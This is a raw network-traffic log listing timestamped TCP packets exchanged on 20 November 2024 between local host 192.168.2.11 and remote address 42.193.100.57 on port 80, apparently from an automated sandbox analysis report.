        Nov 20, 2024 09:14:55.900047064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900537968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900549889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900559902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900571108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900624037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900624037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900677919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900688887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900700092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900711060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900722027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900726080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900736094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900747061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900757074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900760889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900760889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900768042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900779009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900789976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900795937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900800943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900819063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900830030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900834084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900834084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900840998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900851965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900863886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.900873899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900873899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.900923014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901000023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901010990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901113987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901221037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901276112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901365042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901382923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901393890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901411057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901421070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901432037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901436090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901449919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901458979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901462078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901473045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901483059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901489973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901494026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901520014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901530981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901537895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901550055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901560068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901571989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901590109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901627064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901653051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901664972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901675940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901695013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901705980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901715040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901727915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901727915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901731014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901742935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901752949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901765108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.901774883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901774883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.901818991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902014971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902025938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902036905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902048111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902057886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902071953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902076006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902112961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902128935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902195930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902209044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902220964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902234077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902247906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902247906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902247906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902261972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902266026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902275085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902285099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902296066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902306080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902314901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902317047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902328968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902342081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.902357101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902357101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.902383089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.985836029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.985850096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.985933065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.986897945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.986911058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987004042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987035990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987056017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987109900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987224102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987236977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987270117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987282991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987293005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987298012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987298012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987309933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987322092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987335920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987371922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987396955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987407923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987417936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987428904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987440109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987451077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987453938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987453938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987494946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987494946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987539053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987550020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987560034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987592936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987592936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987740993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987751961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987762928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987773895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987783909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987795115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987795115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987821102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987904072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987915039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987926960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987937927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987947941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987958908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987968922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.987976074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.987976074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988013029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988013029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988060951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988073111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988082886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988094091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988127947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988127947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988241911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988254070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988265038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988286018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988328934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988429070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988440990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988451958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988464117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988475084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988486052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988497019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988502026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988502026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988508940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988521099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988523960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988563061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988563061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988734007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988744974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988771915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988782883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988796949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988817930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988817930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988833904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988890886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988903999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.988951921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.988951921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.139209986 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144058943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144076109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144093037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144107103 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144138098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144196987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144212961 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144253969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144285917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144299984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144301891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144345045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144345045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144345045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144360065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144380093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144382000 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144382000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144392967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144409895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144409895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144435883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144510984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144531012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144541979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144551992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144562960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144572020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144572020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144587040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144601107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144606113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144612074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144622087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144628048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144633055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144644976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144656897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144669056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144669056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144727945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144747019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144766092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144778013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144788980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144799948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144810915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144819021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144826889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144834995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144836903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144846916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144860029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144879103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144879103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144900084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144911051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144917965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144923925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144937992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144938946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144953012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144964933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.144968987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144983053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.144984961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145049095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145060062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145066023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145081997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145098925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145109892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145118952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145119905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145118952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145133018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145144939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145172119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145172119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145175934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145188093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145190001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145199060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145210028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145220995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145226955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145229101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145240068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145278931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145279884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145292044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145302057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145303965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145318031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145323992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145342112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145371914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145411015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145421982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145433903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145454884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145457983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145467043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145478010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145488977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145499945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145509958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145509958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145529032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145555019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145607948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145618916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145629883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145639896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145652056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145662069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145668983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145674944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145692110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145694971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145703077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145710945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145740986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145740986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145755053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145855904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145865917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145876884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145886898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145898104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145906925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145910978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145910978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145926952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145927906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145941019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145951986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145962954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.145965099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145965099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.145975113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146023989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146023989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146130085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146142006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146152973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146162987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146173954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146184921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146194935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146194935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146217108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146229029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146239042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146249056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146254063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146254063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146287918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146296024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146401882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146413088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146424055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146434069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146450996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146461010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146471977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146482944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146483898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146483898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146496058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146506071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146509886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:56.146533012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146533012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:56.146545887 CET804970142.193.100.57192.168.2.11
